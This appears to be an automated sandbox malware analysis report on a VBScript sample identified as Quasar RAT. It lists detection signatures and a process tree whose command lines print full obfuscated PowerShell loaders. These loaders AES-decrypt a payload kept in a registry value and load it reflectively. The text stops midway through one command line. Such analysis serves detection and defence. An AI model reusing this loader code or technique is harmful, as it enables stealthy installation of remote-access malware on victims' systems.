Edit tour

Windows Analysis Report
test.vbs

Overview

General Information

Sample name:	test.vbs
Analysis ID:	1612297
MD5:	3808fc59fa6559e0400c8c114757cb69
SHA1:	a920afd77fcadfc2df8d5f7114c636f0938406f4
SHA256:	9b7f05da0f9dfe94f3b6dcb325e6eb08f50333d5bf7d88da97fbcb51986b1bf9
Infos:

Detection

Quasar

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected Quasar RAT

.NET source code contains potential unpacker

Creates autostart registry keys with suspicious values (likely registry only malware)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global keyboard hook

Joe Sandbox ML detected suspicious sample

Modifies the context of a thread in another process (thread injection)

Sample uses string decryption to hide its real strings

Sigma detected: MSHTA Suspicious Execution 01

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes or reads registry keys via WMI

Writes registry values via WMI

Wscript starts Powershell (via cmd or directly)

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Powershell In Registry Run Keys

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7956 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\test.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

WmiPrvSE.exe (PID: 8116 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 8164 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "& {function iT93g([byte[]]$E3OXu) {Invoke-Expression -Debug -Verbose 'H6M$H6MwH6MhH6MBH6M3H6M2H6M=H6M[H6MSH6MyH6MsH6MtH6MeH6MmH6M.H6MTH6MeH6MxH6MtH6M.H6MEH6MnH6McH6MoH6MdH6MiH6MnH6MgH6M]H6M:H6M:H6MUH6MTH6MFH6M8H6M.H6MGH6MeH6MtH6MSH6MtH6MrH6MiH6MnH6MgH6M(H6M$H6MEH6M3H6MOH6MXH6MuH6M)H6M'.Replace('H6M', ''); return $whB32; } function tiw6l([byte[]]$ZUv5N) {Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 'DTC$DTCqDTCKDTCaDTCGDTCiDTC=DTC[DTCBDTCiDTCtDTCCDTCoDTCnDTCvDTCeDTCrDTCtDTCeDTCrDTC]DTC:DTC:DTCTDTCoDTCIDTCnDTCtDTC3DTC2DTC(DTC$DTCZDTCUDTCvDTC5DTCNDTC,DTC0DTC)DTC;DTC'.Replace('DTC', ''); return $qKaGi; } $H2oUx = iT93g(0x74<#AgF8G#>,0x52<#sotVh#>,0x6B<#IJTfo#>,0x58<#aq0EZ#>,0x43<#lRyb0#>,0x36<#LDjCA#>,0x6A<#DRhTQ#>,0x2B<#Nxos5#>,0x34<#AjnVW#>,0x5A<#vkssP#>,0x6F<#Nr7dJ#>,0x52<#lsoI1#>,0x59<#pErVd#>,0x62<#tlAPZ#>,0x79<#kBIJZ#>,0x47<#HncF5#>,0x70<#hU1xu#>,0x6F<#TUEJh#>,0x4D<#cJg0H#>,0x45<#w2R2e#>,0x75<#QkdTi#>,0x6B<#LjyD9#>,0x6B<#EPiNN#>,0x43<#YN4lF#>,0x59<#bh0r2#>,0x46<#bfRBe#>,0x42<#OWjkm#>,0x51<#D0iPg#>,0x34<#pgAJc#>,0x2F<#OkTmn#>,0x46<#k7qw7#>,0x79<#ntwbA#>,0x64<#lRwjs#>,0x34<#lp8kK#>,0x58<#gppFR#>,0x4F<#zhqOk#>,0x4B<#xLpYw#>,0x4E<#Qpxm0#>,0x58<#QDHOx#>,0x78<#bubbt#>,0x2B<#gmscA#>,0x45<#CSle7#>,0x67<#LDi0E#>,0x3D<#bmXwZ#>); $qBAgs = iT93g(0x4E<#C2Vu0#>,0x47<#diaRv#>,0x30<#MGPf7#>,0x52<#QdMXt#>,0x63<#AESom#>,0x50<#NfQKQ#>,0x37<#uWoBq#>,0x49<#mQ8mb#>,0x36<#Z2Tts#>,0x7A<#GxC3u#>,0x75<#DZACY#>,0x45<#yjqHj#>,0x65<#DRQB2#>,0x65<#tbNzN#>,0x6F<#Cek6P#>,0x32<#Hvj6e#>,0x46<#YcXZM#>,0x6F<#YWlmr#>,0x77<#Ik0CX#>,0x72<#KlS1z#>,0x34<#jkNpr#>,0x51<#dzExQ#>,0x3D<#KAunG#>,0x3D<#f40yY#>); $ZXcf8 = iT93g(0x53<#b0lHD#>,0x6F<#YnhiC#>,0x66<#bdsGx#>,0x74<#tOssn#>,0x77<#hRyWf#>,0x61<#I0N5w#>,0x72<#PudcT#>,0x65<#r8GlO#>,0x5C<#wRgut#>,0x4D<#lRnzO#>,0x69<#SMHLu#>,0x63<#LCPm3#>,0x72<#galvu#>,0x6F<#oAPw7#>,0x73<#uIGer#>,0x6F<#SvDmv#>,0x66<#tMXra#>,0x74<#EnRsF#>,0x5C<#qtdsl#>,0x57<#aquA7#>,0x69<#lC02U#>,0x6E<#LGneX#>,0x64<#X9m0B#>,0x6F<#VC3Vo#>,0x77<#HtgrI#>,0x73<#IoY3L#>); $hBkVc = iT93g(0x73<#jBCoD#>,0x31<#rVfXN#>,0x55<#zAwUn#>,0x6E<#qHnrL#>,0x62<#YwZWy#>); $B8Dta = tiw6l(0x00<#A7hB6#>,0x00<#O0RD9#>,0x00<#jXCyJ#>,0x00<#OM184#>); $iSxCm = tiw6l(0x45<#OOD4N#>,0x00<#ImgSK#>,0x00<#Ylexb#>,0x00<#UUo0E#>); $l8XQf = tiw6l(0x03<#CQs75#>,0x00<#GS7w6#>,0x00<#gTbLR#>,0x00<#o3nyw#>); $kzu3X = $null; function S2qwV($ti34n) {Invoke-Expression -Verbose -Debug -WarningAction Inquire 'Bqr$BqrEBqrLBqrpBqrtBqrFBqr=Bqr[BqrSBqryBqrsBqrtBqreBqrmBqr.BqrSBqreBqrcBqruBqrrBqriBqrtBqryBqr.BqrCBqrrBqryBqrpBqrtBqroBqrgBqrrBqraBqrpBqrhBqryBqr.BqrABqreBqrsBqr]Bqr:Bqr:BqrCBqrrBqreBqraBqrtBqreBqr(Bqr)Bqr;Bqr'.Replace('Bqr', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore 'l3m$l3mEl3mLl3mpl3mtl3mFl3m.l3mMl3mol3mdl3mel3m=l3m[l3mSl3myl3msl3mtl3mel3mml3m.l3mSl3mel3mcl3mul3mrl3mil3mtl3myl3m.l3mCl3mrl3myl3mpl3mtl3mol3mgl3mrl3mal3mpl3mhl3myl3m.l3mCl3mil3mpl3mhl3mel3mrl3mMl3mol3mdl3mel3m]l3m:l3m:l3mCl3mBl3mCl3m'.Replace('l3m', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire 'j0D$j0DEj0DLj0Dpj0Dtj0DFj0D.j0DPj0Daj0Ddj0Ddj0Dij0Dnj0Dgj0D=j0D[j0DSj0Dyj0Dsj0Dtj0Dej0Dmj0D.j0DSj0Dej0Dcj0Duj0Drj0Dij0Dtj0Dyj0D.j0DCj0Drj0Dyj0Dpj0Dtj0Doj0Dgj0Drj0Daj0Dpj0Dhj0Dyj0D.j0DPj0Daj0Ddj0Ddj0Dij0Dnj0Dgj0DMj0Doj0Ddj0Dej0D]j0D:j0D:j0DPj0DKj0DCj0DSj0D7j0D'.Replace('j0D', ''); Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire 'RLv$RLvERLvLRLvpRLvtRLvFRLv.RLvKRLveRLvyRLv=RLv[RLvSRLvyRLvsRLvtRLveRLvmRLv.RLvCRLvoRLvnRLvvRLveRLvrRLvtRLv]RLv:RLv:RLvFRLvrRLvoRLvmRLvBRLvaRLvsRLveRLv6RLv4RLvSRLvtRLvrRLviRLvnRLvgRLv(RLv$RLvHRLv2RLvoRLvURLvxRLv)RLv'.Replace('RLv', ''); Invoke-Expression -InformationAction Ignore -Verbose 'KoR$KoREKoRLKoRpKoRtKoRFKoR.KoRIKoRVKoR=KoR[KoRSKoRyKoRsKoRtKoReKoRmKoR.KoRCKoRoKoRnKoRvKoReKoRrKoRtKoR]KoR:KoR:KoRFKoRrKoRoKoRmKoRBKoRaKoRsKoReKoR6KoR4KoRSKoRtKoRrKoRiKoRnKoRgKoR(KoR$KoRqKoRBKoRAKoRgKoRsKoR)KoR'.Replace('KoR', ''); $ZcGu0=$ELptF.CreateDecryptor(); $ES1U8=$ZcGu0.TransformFinalBlock($ti34n, $B8Dta, $ti34n.Length); $ZcGu0.Dispose(); $ELptF.Dispose(); $ES1U8; } Invoke-Expression -Debug -WarningAction Inquire -Verbose 'rgH$rgHIrgH0rgHjrgHzrgHKrgH=rgH[rgHMrgHirgHcrgHrrgHorgHsrgHorgHfrgHtrgH.rgHWrgHirgHnrgH3rgH2rgH.rgHRrgHergHgrgHirgHsrgHtrgHrrgHyrgH]rgH:rgH:rgHCrgHurgHrrgHrrgHergHnrgHtrgHUrgHsrgHergHrrgH.rgHOrgHprgHergHnrgHSrgHurgHbrgHKrgHergHyrgH(rgH$rgHZrgHXrgHcrgHfrgH8rgH)rgH'.Replace('rgH', ''); $Ka32q = $iSxCm; $Yvese = $I0jzK.GetValue($hBkVc); $Yvese = S2qwV($Yvese); Invoke-Expression -Verbose -WarningAction Inquire -Debug -InformationAction Ignore 'wPR$wPRRwPR6wPRawPRNwPRAwPR=wPR[wPRRwPRewPRfwPRlwPRewPRcwPRtwPRiwPRowPRnwPR.wPRAwPRswPRswPRewPRmwPRbwPRlwPRywPR]wPR:wPR:wPRLwPRowPRawPRdwPR(wPR[wPRbwPRywPRtwPRewPR[wPR]wPR]wPR$wPRYwPRvwPRewPRswPRewPR)wPR'.Replace('wPR', ''); $JVyjT = $R6aNA.EntryPoint; $YsCbW = [int]$JVyjT.Invoke($B8Dta,$kzu3X); if ($YsCbW -eq $Ka32q) {exit $Ka32q } else {exit $l8XQf}}" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7252 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "& {function iT93g([byte[]]$E3OXu) {Invoke-Expression -Debug -Verbose 'H6M$H6MwH6MhH6MBH6M3H6M2H6M=H6M[H6MSH6MyH6MsH6MtH6MeH6MmH6M.H6MTH6MeH6MxH6MtH6M.H6MEH6MnH6McH6MoH6MdH6MiH6MnH6MgH6M]H6M:H6M:H6MUH6MTH6MFH6M8H6M.H6MGH6MeH6MtH6MSH6MtH6MrH6MiH6MnH6MgH6M(H6M$H6MEH6M3H6MOH6MXH6MuH6M)H6M'.Replace('H6M', ''); return $whB32; } function tiw6l([byte[]]$ZUv5N) {Invoke-Expression -Debug -WarningAction Inquire -Verbose -InformationAction Ignore 'DTC$DTCqDTCKDTCaDTCGDTCiDTC=DTC[DTCBDTCiDTCtDTCCDTCoDTCnDTCvDTCeDTCrDTCtDTCeDTCrDTC]DTC:DTC:DTCTDTCoDTCIDTCnDTCtDTC3DTC2DTC(DTC$DTCZDTCUDTCvDTC5DTCNDTC,DTC0DTC)DTC;DTC'.Replace('DTC', ''); return $qKaGi; } $H2oUx = iT93g(0x74<#AgF8G#>,0x52<#sotVh#>,0x6B<#IJTfo#>,0x58<#aq0EZ#>,0x43<#lRyb0#>,0x36<#LDjCA#>,0x6A<#DRhTQ#>,0x2B<#Nxos5#>,0x34<#AjnVW#>,0x5A<#vkssP#>,0x6F<#Nr7dJ#>,0x52<#lsoI1#>,0x59<#pErVd#>,0x62<#tlAPZ#>,0x79<#kBIJZ#>,0x47<#HncF5#>,0x70<#hU1xu#>,0x6F<#TUEJh#>,0x4D<#cJg0H#>,0x45<#w2R2e#>,0x75<#QkdTi#>,0x6B<#LjyD9#>,0x6B<#EPiNN#>,0x43<#YN4lF#>,0x59<#bh0r2#>,0x46<#bfRBe#>,0x42<#OWjkm#>,0x51<#D0iPg#>,0x34<#pgAJc#>,0x2F<#OkTmn#>,0x46<#k7qw7#>,0x79<#ntwbA#>,0x64<#lRwjs#>,0x34<#lp8kK#>,0x58<#gppFR#>,0x4F<#zhqOk#>,0x4B<#xLpYw#>,0x4E<#Qpxm0#>,0x58<#QDHOx#>,0x78<#bubbt#>,0x2B<#gmscA#>,0x45<#CSle7#>,0x67<#LDi0E#>,0x3D<#bmXwZ#>); $qBAgs = iT93g(0x4E<#C2Vu0#>,0x47<#diaRv#>,0x30<#MGPf7#>,0x52<#QdMXt#>,0x63<#AESom#>,0x50<#NfQKQ#>,0x37<#uWoBq#>,0x49<#mQ8mb#>,0x36<#Z2Tts#>,0x7A<#GxC3u#>,0x75<#DZACY#>,0x45<#yjqHj#>,0x65<#DRQB2#>,0x65<#tbNzN#>,0x6F<#Cek6P#>,0x32<#Hvj6e#>,0x46<#YcXZM#>,0x6F<#YWlmr#>,0x77<#Ik0CX#>,0x72<#KlS1z#>,0x34<#jkNpr#>,0x51<#dzExQ#>,0x3D<#KAunG#>,0x3D<#f40yY#>); $ZXcf8 = iT93g(0x53<#b0lHD#>,0x6F<#YnhiC#>,0x66<#bdsGx#>,0x74<#tOssn#>,0x77<#hRyWf#>,0x61<#I0N5w#>,0x72<#PudcT#>,0x65<#r8GlO#>,0x5C<#wRgut#>,0x4D<#lRnzO#>,0x69<#SMHLu#>,0x63<#LCPm3#>,0x72<#galvu#>,0x6F<#oAPw7#>,0x73<#uIGer#>,0x6F<#SvDmv#>,0x66<#tMXra#>,0x74<#EnRsF#>,0x5C<#qtdsl#>,0x57<#aquA7#>,0x69<#lC02U#>,0x6E<#LGneX#>,0x64<#X9m0B#>,0x6F<#VC3Vo#>,0x77<#HtgrI#>,0x73<#IoY3L#>); $hBkVc = iT93g(0x73<#jBCoD#>,0x31<#rVfXN#>,0x55<#zAwUn#>,0x6E<#qHnrL#>,0x62<#YwZWy#>); $B8Dta = tiw6l(0x00<#A7hB6#>,0x00<#O0RD9#>,0x00<#jXCyJ#>,0x00<#OM184#>); $iSxCm = tiw6l(0x45<#OOD4N#>,0x00<#ImgSK#>,0x00<#Ylexb#>,0x00<#UUo0E#>); $l8XQf = tiw6l(0x03<#CQs75#>,0x00<#GS7w6#>,0x00<#gTbLR#>,0x00<#o3nyw#>); $kzu3X = $null; function S2qwV($ti34n) {Invoke-Expression -Verbose -Debug -WarningAction Inquire 'Bqr$BqrEBqrLBqrpBqrtBqrFBqr=Bqr[BqrSBqryBqrsBqrtBqreBqrmBqr.BqrSBqreBqrcBqruBqrrBqriBqrtBqryBqr.BqrCBqrrBqryBqrpBqrtBqroBqrgBqrrBqraBqrpBqrhBqryBqr.BqrABqreBqrsBqr]Bqr:Bqr:BqrCBqrrBqreBqraBqrtBqreBqr(Bqr)Bqr;Bqr'.Replace('Bqr', ''); Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore 'l3m$l3mEl3mLl3mpl3mtl3mFl3m.l3mMl3mol3mdl3mel3m=l3m[l3mSl3myl3msl3mtl3mel3mml3m.l3mSl3mel3mcl3mul3mrl3mil3mtl3myl3m.l3mCl3mrl3myl3mpl3mtl3mol3mgl3mrl3mal3mpl3mhl3myl3m.l3mCl3mil3mpl3mhl3mel3mrl3mMl3mol3mdl3mel3m]l3m:l3m:l3mCl3mBl3mCl3m'.Replace('l3m', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire 'j0D$j0DEj0DLj0Dpj0Dtj0DFj0D.j0DPj0Daj0Ddj0Ddj0Dij0Dnj0Dgj0D=j0D[j0DSj0Dyj0Dsj0Dtj0Dej0Dmj0D.j0DSj0Dej0Dcj0Duj0Drj0Dij0Dtj0Dyj0D.j0DCj0Drj0Dyj0Dpj0Dtj0Doj0Dgj0Drj0Daj0Dpj0Dhj0Dyj0D.j0DPj0Daj0Ddj0Ddj0Dij0Dnj0Dgj0DMj0Doj0Ddj0Dej0D]j0D:j0D:j0DPj0DKj0DCj0DSj0D7j0D'.Replace('j0D', ''); Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire 'RLv$RLvERLvLRLvpRLvtRLvFRLv.RLvKRLveRLvyRLv=RLv[RLvSRLvyRLvsRLvtRLveRLvmRLv.RLvCRLvoRLvnRLvvRLveRLvrRLvtRLv]RLv:RLv:RLvFRLvrRLvoRLvmRLvBRLvaRLvsRLveRLv6RLv4RLvSRLvtRLvrRLviRLvnRLvgRLv(RLv$RLvHRLv2RLvoRLvURLvxRLv)RLv'.Replace('RLv', ''); Invoke-Expression -InformationAction Ignore -Verbose 'KoR$KoREKoRLKoRpKoRtKoRFKoR.KoRIKoRVKoR=KoR[KoRSKoRyKoRsKoRtKoReKoRmKoR.KoRCKoRoKoRnKoRvKoReKoRrKoRtKoR]KoR:KoR:KoRFKoRrKoRoKoRmKoRBKoRaKoRsKoReKoR6KoR4KoRSKoRtKoRrKoRiKoRnKoRgKoR(KoR$KoRqKoRBKoRAKoRgKoRsKoR)KoR'.Replace('KoR', ''); $ZcGu0=$ELptF.CreateDecryptor(); $ES1U8=$ZcGu0.TransformFinalBlock($ti34n, $B8Dta, $ti34n.Length); $ZcGu0.Dispose(); $ELptF.Dispose(); $ES1U8; } Invoke-Expression -Debug -WarningAction Inquire -Verbose 'rgH$rgHIrgH0rgHjrgHzrgHKrgH=rgH[rgHMrgHirgHcrgHrrgHorgHsrgHorgHfrgHtrgH.rgHWrgHirgHnrgH3rgH2rgH.rgHRrgHergHgrgHirgHsrgHtrgHrrgHyrgH]rgH:rgH:rgHCrgHurgHrrgHrrgHergHnrgHtrgHUrgHsrgHergHrrgH.rgHOrgHprgHergHnrgHSrgHurgHbrgHKrgHergHyrgH(rgH$rgHZrgHXrgHcrgHfrgH8rgH)rgH'.Replace('rgH', ''); $Ka32q = $iSxCm; $Yvese = $I0jzK.GetValue($hBkVc); $Yvese = S2qwV($Yvese); Invoke-Expression -Verbose -WarningAction Inquire -Debug -InformationAction Ignore 'wPR$wPRRwPR6wPRawPRNwPRAwPR=wPR[wPRRwPRewPRfwPRlwPRewPRcwPRtwPRiwPRowPRnwPR.wPRAwPRswPRswPRewPRmwPRbwPRlwPRywPR]wPR:wPR:wPRLwPRowPRawPRdwPR(wPR[wPRbwPRywPRtwPRewPR[wPR]wPR]wPR$wPRYwPRvwPRewPRswPRewPR)wPR'.Replace('wPR', ''); $JVyjT = $R6aNA.EntryPoint; $YsCbW = [int]$JVyjT.Invoke($B8Dta,$kzu3X); if ($YsCbW -eq $Ka32q) {exit $Ka32q } else {exit $l8XQf}}" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 6104 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function Ib6pi([byte[]]$Sf4DZ) {Invoke-Expression -Verbose -WarningAction Inquire -Debug 'O2o$O2ocO2oqO2o1O2oaO2oGO2o=O2o[O2oSO2oyO2osO2otO2oeO2omO2o.O2oTO2oeO2oxO2otO2o.O2oEO2onO2ocO2ooO2odO2oiO2onO2ogO2o]O2o:O2o:O2oUO2oTO2oFO2o8O2o.O2oGO2oeO2otO2oSO2otO2orO2oiO2onO2ogO2o(O2o$O2oSO2ofO2o4O2oDO2oZO2o)O2o'.Replace('O2o', ''); return $cq1aG; } function Smsgn([byte[]]$TYS1W) {Invoke-Expression -Verbose -InformationAction Ignore 'StI$StIrStIwStIZStIwStIHStI=StI[StIBStIiStItStICStIoStInStIvStIeStIrStItStIeStIrStI]StI:StI:StITStIoStIIStInStItStI3StI2StI(StI$StITStIYStISStI1StIWStI,StI0StI)StI;StI'.Replace('StI', ''); return $rwZwH; } $yOU0b = Ib6pi(0x74<#chvvk#>,0x52<#u2CEY#>,0x6B<#MVTFN#>,0x58<#YiCr7#>,0x43<#K8mg9#>,0x36<#UhqQ4#>,0x6A<#cQm2O#>,0x2B<#flcxM#>,0x34<#OY2RT#>,0x5A<#ALzz6#>,0x6F<#zoKd3#>,0x52<#d4OvL#>,0x59<#SLwJ0#>,0x62<#zsa1m#>,0x79<#sFOep#>,0x47<#qGVN9#>,0x70<#Ks1U4#>,0x6F<#uGJ9p#>,0x4D<#kWql0#>,0x45<#EmsaU#>,0x75<#Ov8NF#>,0x6B<#uZpyF#>,0x6B<#XiBw9#>,0x43<#hUbO7#>,0x59<#ujaL4#>,0x46<#ZYnnj#>,0x42<#JY42r#>,0x51<#WtnPA#>,0x34<#YaV4N#>,0x2F<#HV4mN#>,0x46<#nKdcb#>,0x79<#lUwSl#>,0x64<#awCO3#>,0x34<#CnIFi#>,0x58<#uqMOd#>,0x4F<#YNg7w#>,0x4B<#HeBay#>,0x4E<#A4cb9#>,0x58<#F6Vnf#>,0x78<#kXGAK#>,0x2B<#ZMzDT#>,0x45<#E8P88#>,0x67<#Zyzgc#>,0x3D<#Auma2#>); $pKdS6 = Ib6pi(0x4E<#HLrGc#>,0x47<#xVisw#>,0x30<#EHfxR#>,0x52<#wp7Gt#>,0x63<#Cpdce#>,0x50<#OHyLe#>,0x37<#xvqHB#>,0x49<#PetlW#>,0x36<#lZgM3#>,0x7A<#TTBOg#>,0x75<#Rxgr0#>,0x45<#YsPlK#>,0x65<#qhXNz#>,0x65<#QaXw9#>,0x6F<#W6Vt9#>,0x32<#gIQiG#>,0x46<#yGjpJ#>,0x6F<#HP9Ri#>,0x77<#dPHbh#>,0x72<#KCTWk#>,0x34<#x6PPE#>,0x51<#VbwrN#>,0x3D<#RcqfM#>,0x3D<#l7sEq#>); $mxwaP = Ib6pi(0x53<#DbFNZ#>,0x6F<#Jy4Lx#>,0x66<#ez47J#>,0x74<#B1Uku#>,0x77<#kcRDO#>,0x61<#GimOz#>,0x72<#MUPpg#>,0x65<#a0Bz2#>,0x5C<#ehl3n#>,0x4D<#ZitVL#>,0x69<#smHT8#>,0x63<#fJC9S#>,0x72<#hMqWi#>,0x6F<#NkObo#>,0x73<#IzfrK#>,0x6F<#J1Yat#>,0x66<#dzRC7#>,0x74<#fM5r5#>,0x5C<#RyBgP#>,0x57<#T0PUW#>,0x69<#vTRqA#>,0x6E<#BHZJx#>,0x64<#mvlQt#>,0x6F<#p5nY6#>,0x77<#DohgT#>,0x73<#Sx8cw#>); $RGohu = Ib6pi(0x6B<#QlDDy#>,0x70<#NhkB5#>,0x44<#Zww3K#>,0x53<#eNvxb#>,0x46<#XM0XT#>); $RwltO = Smsgn(0x00<#h5SFV#>,0x00<#ucupc#>,0x00<#MID9v#>,0x00<#HXOXF#>); $ewoV8 = $true; $jOK5y = $null; function Yz1Gd($VHgBC) {Invoke-Expression -WarningAction Inquire -Debug -Verbose -InformationAction Ignore 'CKA$CKAeCKAyCKAyCKAQCKAHCKA=CKA[CKASCKAyCKAsCKAtCKAeCKAmCKA.CKASCKAeCKAcCKAuCKArCKAiCKAtCKAyCKA.CKACCKArCKAyCKApCKAtCKAoCKAgCKArCKAaCKApCKAhCKAyCKA.CKAACKAeCKAsCKA]CKA:CKA:CKACCKArCKAeCKAaCKAtCKAeCKA(CKA)CKA'.Replace('CKA', ''); Invoke-Expression -WarningAction Inquire -Verbose 'RHv$RHveRHvyRHvyRHvQRHvHRHv.RHvMRHvoRHvdRHveRHv=RHv[RHvSRHvyRHvsRHvtRHveRHvmRHv.RHvSRHveRHvcRHvuRHvrRHviRHvtRHvyRHv.RHvCRHvrRHvyRHvpRHvtRHvoRHvgRHvrRHvaRHvpRHvhRHvyRHv.RHvCRHviRHvpRHvhRHveRHvrRHvMRHvoRHvdRHveRHv]RHv:RHv:RHvCRHvBRHvCRHv'.Replace('RHv', ''); Invoke-Expression -Verbose -Debug -WarningAction Inquire -InformationAction Ignore 'jui$juiejuiyjuiyjuiQjuiHjui.juiPjuiajuidjuidjuiijuinjuigjui=jui[juiSjuiyjuisjuitjuiejuimjui.juiSjuiejuicjuiujuirjuiijuitjuiyjui.juiCjuirjuiyjuipjuitjuiojuigjuirjuiajuipjuihjuiyjui.juiPjuiajuidjuidjuiijuinjuigjuiMjuiojuidjuiejui]jui:jui:juiPjuiKjuiCjuiSjui7jui'.Replace('jui', ''); Invoke-Expression -Debug -Verbose 'YwM$YwMeYwMyYwMyYwMQYwMHYwM.YwMKYwMeYwMyYwM=YwM[YwMSYwMyYwMsYwMtYwMeYwMmYwM.YwMCYwMoYwMnYwMvYwMeYwMrYwMtYwM]YwM:YwM:YwMFYwMrYwMoYwMmYwMBYwMaYwMsYwMeYwM6YwM4YwMSYwMtYwMrYwMiYwMnYwMgYwM(YwM$YwMyYwMOYwMUYwM0YwMbYwM)YwM'.Replace('YwM', ''); Invoke-Expression -Verbose -InformationAction Ignore -WarningAction Inquire 'TrU$TrUeTrUyTrUyTrUQTrUHTrU.TrUITrUVTrU=TrU[TrUSTrUyTrUsTrUtTrUeTrUmTrU.TrUCTrUoTrUnTrUvTrUeTrUrTrUtTrU]TrU:TrU:TrUFTrUrTrUoTrUmTrUBTrUaTrUsTrUeTrU6TrU4TrUSTrUtTrUrTrUiTrUnTrUgTrU(TrU$TrUpTrUKTrUdTrUSTrU6TrU)TrU'.Replace('TrU', ''); $mz2vU=$eyyQH.CreateDecryptor(); $YW2cj=$mz2vU.TransformFinalBlock($VHgBC, $RwltO, $VHgBC.Length); $mz2vU.Dispose(); $eyyQH.Dispose(); $YW2cj; } Invoke-Expression -Verbose -InformationAction Ignore -Debug 'QTL$QTLsQTLbQTL3QTLLQTLKQTL=QTL[QTLMQTLiQTLcQTLrQTLoQTLsQTLoQTLfQTLtQTL.QTLWQTLiQTLnQTL3QTL2QTL.QTLRQTLeQTLgQTLiQTLsQTLtQTLrQTLyQTL]QTL:QTL:QTLCQTLuQTLrQTLrQTLeQTLnQTLtQTLUQTLsQTLeQTLrQTL.QTLOQTLpQTLeQTLnQTLSQTLuQTLbQTLKQTLeQTLyQTL(QTL$QTLmQTLxQTLwQTLaQTLPQTL,QTL$QTLeQTLwQTLoQTLVQTL8QTL)QTL'.Replace('QTL', ''); $I9CGV = $sb3LK.GetValue($RGohu); $I9CGV = Yz1Gd($I9CGV); $sb3LK.DeleteValue($RGohu); Invoke-Expression -WarningAction Inquire -Debug -Verbose -InformationAction Ignore 'GkW$GkWEGkWHGkWQGkWOGkW4GkW=GkW[GkWRGkWeGkWfGkWlGkWeGkWcGkWtGkWiGkWoGkWnGkW.GkWAGkWsGkWsGkWeGkWmGkWbGkWlGkWyGkW]GkW:GkW:GkWLGkWoGkWaGkWdGkW(GkW[GkWbGkWyGkWtGkWeGkW[GkW]GkW]GkW$GkWIGkW9GkWCGkWGGkWVGkW)GkW'.Replace('GkW', ''); $qYlCF = $EHQO4.EntryPoint; $qYlCF.Invoke($RwltO,$jOK5y);}" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5964 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {function IrUjV([byte[]]$f9mpX) {Invoke-Expression -Verbose -Debug -InformationAction Ignore 'zZO$zZOSzZOfzZOYzZOszZO9zZO=zZO[zZOSzZOyzZOszZOtzZOezZOmzZO.zZOTzZOezZOxzZOtzZO.zZOEzZOnzZOczZOozZOdzZOizZOnzZOgzZO]zZO:zZO:zZOUzZOTzZOFzZO8zZO.zZOGzZOezZOtzZOSzZOtzZOrzZOizZOnzZOgzZO(zZO$zZOfzZO9zZOmzZOpzZOXzZO)zZO'.Replace('zZO', ''); return $SfYs9; } function SsYTA([byte[]]$MyDKV) {Invoke-Expression -WarningAction Inquire -Verbose 'RzW$RzWGRzWwRzW1RzWMRzWHRzW=RzW[RzWBRzWiRzWtRzWCRzWoRzWnRzWvRzWeRzWrRzWtRzWeRzWrRzW]RzW:RzW:RzWTRzWoRzWIRzWnRzWtRzW3RzW2RzW(RzW$RzWMRzWyRzWDRzWKRzWVRzW,RzW0RzW)RzW;RzW'.Replace('RzW', ''); return $Gw1MH; } $MXyPq = IrUjV(0x74, 0x52, 107, 88, 67, 54, 106, 0x2b, 0x34, 90, 0x6f, 82, 0x59, 0x62, 0x79, 0x47, 0x70, 111, 77, 69, 117, 0x6b, 0x6b, 0x43, 89, 